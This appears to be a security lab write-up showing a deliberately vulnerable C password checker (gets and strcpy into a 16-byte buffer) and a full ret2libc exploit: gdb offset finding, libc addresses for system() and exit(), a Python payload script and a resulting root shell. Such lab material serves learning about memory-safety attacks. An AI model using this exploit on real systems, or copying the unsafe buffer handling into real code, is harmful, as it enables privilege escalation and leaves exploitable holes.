Part 3

Program

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#define PASSWORD "AdminRoot"

int auth(char *pswd) {
	int authPW;
	char buffer[16];
	strcpy(buffer, pswd);                          /*copy input pswd to buffer*/
	authPW = strcmp(buffer, PASSWORD);    /*compare buffer with password */
	return authPW;
}

int main(int argc, char **argv)
{
	int flag = 0;
	char pswd[64];
	printf("Please enter the password for Admin: ");
	fflush(stdout);
	gets(pswd);
	flag = auth(pswd);                             /*call function to verify pswd*/
	if(flag){
		printf("incorrect password!\n");
	}
	else{
		 printf("logged in as Admin!\n");
	} }
```

Exploit

use 'gcc -fno-stack-protector -z execstack -z norelro part3.c -o part3' **to compile the program:**

```
gcc -fno-stack-protector -z execstack -z norelro part3.c -o part3
part3.c: In function 'main':
part3.c:21:9: warning: implicit declaration of function 'gets' [-Wimplicit-funct
ion-declaration]
         gets(pswd);
         ^
/tmp/ccoHp6JF.o: In function `main':
part3.c:(.text+0x75): warning: the `gets' function is dangerous and should not b
e used.
```

set an environment variable to store /bin/sh and used a program to get its address:

```
task4@lab2:~$ export T4=/bin/sh
task4@lab2:~$ ./address
Estimated address: 0xbffff840
```

use gdb to find the address where buffer overflow occurs and calculate its offset:

```
gdb-peda$ c
Continuing.
Please enter the password for Admin: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3A
b4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x31624130 in ?? ()
gdb-peda$ q
task4@lab2:~$ /usr/share/metasploit-framework/tools/exploit/./pattern_offset.rb
-q 0x31624130
[*] Exact match at offset 32
```

find the addresses of system() and exit():

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e52db0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e469e0 <__GI_exit>
```

write the script:

```
import struct
buffer = "A" * 32
system = struct.pack("I",0xb7e52db0)
exit = struct.pack("I",0xb7e469e0)
shell = struct.pack("I",0xbffff842)
print buffer + system + exit + shell
```

0xbffff842 is the actual address of the environment variable where stores /bin/sh.

then use the commands below to exploit the program:

```
task4@lab2:~$ vim part3.py
task4@lab2:~$ python part3.py > payload
task4@lab2:~$ cat payload - | ./part3
Please enter the password for Admin:
whoami
root
id
uid=1007(task4) gid=1007(task4) euid=0(root) groups=1007(task4)
```